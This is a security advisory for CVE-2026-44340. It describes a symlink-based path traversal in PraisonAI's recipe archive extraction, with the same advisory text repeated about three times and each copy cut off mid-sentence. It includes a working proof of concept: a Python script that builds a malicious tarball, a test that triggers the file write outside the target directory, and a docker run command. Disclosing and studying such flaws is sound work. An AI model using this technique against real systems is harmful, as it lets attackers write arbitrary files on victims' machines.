CVE-2026-44340

PraisonAI is a multi-agent teams system. Prior to version 4.6.37, the _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter="data". A bundle that contains a symlink with a name inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem. This issue has been patched in version 4.6.37.

PraisonAI is a multi-agent teams system. Prior to version 4.6.37, the _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter="data". A bundle that contains a symlink with a name inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem. This issue has been patched in version 4.6.37.

Summary

The _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter="data". A bundle that contains a symlink with a name inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.

Affected paths

Every code path that calls _safe_extractall is exposed:

| Caller | File:line | |---|---| | praisonai recipe unpack | src/praisonai/praisonai/cli/features/recipe.py:1175 (introduced as the fix for GHSA-99g3-w8gr-x37c) | | LocalRegistry.unpack (recipe pull) | src/praisonai/praisonai/recipe/registry.py:413 | | Registry archive validation (publish) | src/praisonai/praisonai/recipe/registry.py:808 |

Root cause

recipe/registry.py:131-178:

def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    ...
    for member in tar.getmembers():
        ...
        member_path = Path(member.name)
        if member_path.is_absolute(): raise RegistryError(...)
        if '..' in member_path.parts: raise RegistryError(...)
        resolved = (dest_resolved / member_path).resolve()
        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
            raise RegistryError(...)
    # All members validated — safe to extract
    tar.extractall(dest_dir)

Three gaps:

1. The loop checks only member.name. member.linkname (the symlink / hardlink target) is not inspected.
2. member.issym() and member.islnk() are not used to refuse link members at all.
3. tar.extractall(dest_dir) runs without filter="data". On Python ≤ 3.13 the default is fully_trusted (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside dest_dir.

When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.

Reproduction

Tested in a disposable container against praisonai==4.6.35 (pip install praisonai, no other modifications).

make_bundle.py:

import io, json, tarfile
manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo("manifest.json"); info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    sym = tarfile.TarInfo("legit/escape")
    sym.type = tarfile.SYMTYPE
    sym.linkname = "/tmp/PWNED"
    tar.addfile(sym)

    payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n"
    pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload)
    tar.addfile(pf, io.BytesIO(payload))

direct_test.py:

import shutil, tarfile
from pathlib import Path
from praisonai.recipe.registry import _safe_extractall

DEST = Path("/work/recipes_direct")
shutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)
Path("/tmp/PWNED").mkdir(parents=True, exist_ok=True)

with tarfile.open("malicious.praison", "r:gz") as tar:
    _safe_extractall(tar, DEST)

assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape"
print("PWNED:", Path("/tmp/PWNED/owned.txt").read_text())

Run:

docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c '
  pip install -q praisonai &&
  python make_bundle.py &&
  python direct_test.py
'

Observed output:

_safe_extractall returned cleanly
PWNED: PWNED via symlink-extraction bypass of _safe_extractall

/tmp/PWNED/owned.txt exists after the call returns, written outside the destination directory the helper was asked to…

PraisonAI is a multi-agent teams system. Prior to version 4.6.37, the _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter="data". A bundle that contains a symlink with a name inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem. This issue has been patched in version 4.6.37.

PraisonAI is a multi-agent teams system. Prior to version 4.6.37, the _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter="data". A bundle that contains a symlink with a name inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem. This issue has been patched in version 4.6.37.

Summary

The _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter="data". A bundle that contains a symlink with a name inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.

Affected paths

Every code path that calls _safe_extractall is exposed:

| Caller | File:line | |---|---| | praisonai recipe unpack | src/praisonai/praisonai/cli/features/recipe.py:1175 (introduced as the fix for GHSA-99g3-w8gr-x37c) | | LocalRegistry.unpack (recipe pull) | src/praisonai/praisonai/recipe/registry.py:413 | | Registry archive validation (publish) | src/praisonai/praisonai/recipe/registry.py:808 |

Root cause

recipe/registry.py:131-178:

def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    ...
    for member in tar.getmembers():
        ...
        member_path = Path(member.name)
        if member_path.is_absolute(): raise RegistryError(...)
        if '..' in member_path.parts: raise RegistryError(...)
        resolved = (dest_resolved / member_path).resolve()
        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
            raise RegistryError(...)
    # All members validated — safe to extract
    tar.extractall(dest_dir)

Three gaps:

1. The loop checks only member.name. member.linkname (the symlink / hardlink target) is not inspected.
2. member.issym() and member.islnk() are not used to refuse link members at all.
3. tar.extractall(dest_dir) runs without filter="data". On Python ≤ 3.13 the default is fully_trusted (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside dest_dir.

When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.

Reproduction

Tested in a disposable container against praisonai==4.6.35 (pip install praisonai, no other modifications).

make_bundle.py:

import io, json, tarfile
manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo("manifest.json"); info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    sym = tarfile.TarInfo("legit/escape")
    sym.type = tarfile.SYMTYPE
    sym.linkname = "/tmp/PWNED"
    tar.addfile(sym)

    payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n"
    pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload)
    tar.addfile(pf, io.BytesIO(payload))

direct_test.py:

import shutil, tarfile
from pathlib import Path
from praisonai.recipe.registry import _safe_extractall

DEST = Path("/work/recipes_direct")
shutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)
Path("/tmp/PWNED").mkdir(parents=True, exist_ok=True)

with tarfile.open("malicious.praison", "r:gz") as tar:
    _safe_extractall(tar, DEST)

assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape"
print("PWNED:", Path("/tmp/PWNED/owned.txt").read_text())

Run:

docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c '
  pip install -q praisonai &&
  python make_bundle.py &&
  python direct_test.py
'

Observed output:

_safe_extractall returned cleanly
PWNED: PWNED via symlink-extraction bypass of _safe_extractall

/tmp/PWNED/owned.txt exists after the call returns, written outside the destination directory the helper was asked to…

Summary

The _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter="data". A bundle that contains a symlink with a name inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.

Affected paths

Every code path that calls _safe_extractall is exposed:

| Caller | File:line | |---|---| | praisonai recipe unpack | src/praisonai/praisonai/cli/features/recipe.py:1175 (introduced as the fix for GHSA-99g3-w8gr-x37c) | | LocalRegistry.unpack (recipe pull) | src/praisonai/praisonai/recipe/registry.py:413 | | Registry archive validation (publish) | src/praisonai/praisonai/recipe/registry.py:808 |

Root cause

recipe/registry.py:131-178:

def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    ...
    for member in tar.getmembers():
        ...
        member_path = Path(member.name)
        if member_path.is_absolute(): raise RegistryError(...)
        if '..' in member_path.parts: raise RegistryError(...)
        resolved = (dest_resolved / member_path).resolve()
        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
            raise RegistryError(...)
    # All members validated — safe to extract
    tar.extractall(dest_dir)

Three gaps:

1. The loop checks only member.name. member.linkname (the symlink / hardlink target) is not inspected.
2. member.issym() and member.islnk() are not used to refuse link members at all.
3. tar.extractall(dest_dir) runs without filter="data". On Python ≤ 3.13 the default is fully_trusted (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside dest_dir.

When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.

Reproduction

Tested in a disposable container against praisonai==4.6.35 (pip install praisonai, no other modifications).

make_bundle.py:

import io, json, tarfile
manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo("manifest.json"); info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    sym = tarfile.TarInfo("legit/escape")
    sym.type = tarfile.SYMTYPE
    sym.linkname = "/tmp/PWNED"
    tar.addfile(sym)

    payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n"
    pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload)
    tar.addfile(pf, io.BytesIO(payload))

direct_test.py:

import shutil, tarfile
from pathlib import Path
from praisonai.recipe.registry import _safe_extractall

DEST = Path("/work/recipes_direct")
shutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)
Path("/tmp/PWNED").mkdir(parents=True, exist_ok=True)

with tarfile.open("malicious.praison", "r:gz") as tar:
    _safe_extractall(tar, DEST)

assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape"
print("PWNED:", Path("/tmp/PWNED/owned.txt").read_text())

Run:

docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c '
  pip install -q praisonai &&
  python make_bundle.py &&
  python direct_test.py
'

Observed output:

_safe_extractall returned cleanly
PWNED: PWNED via symlink-extraction bypass of _safe_extractall

/tmp/PWNED/owned.txt exists after the call returns, written outside the destination directory the helper was asked to…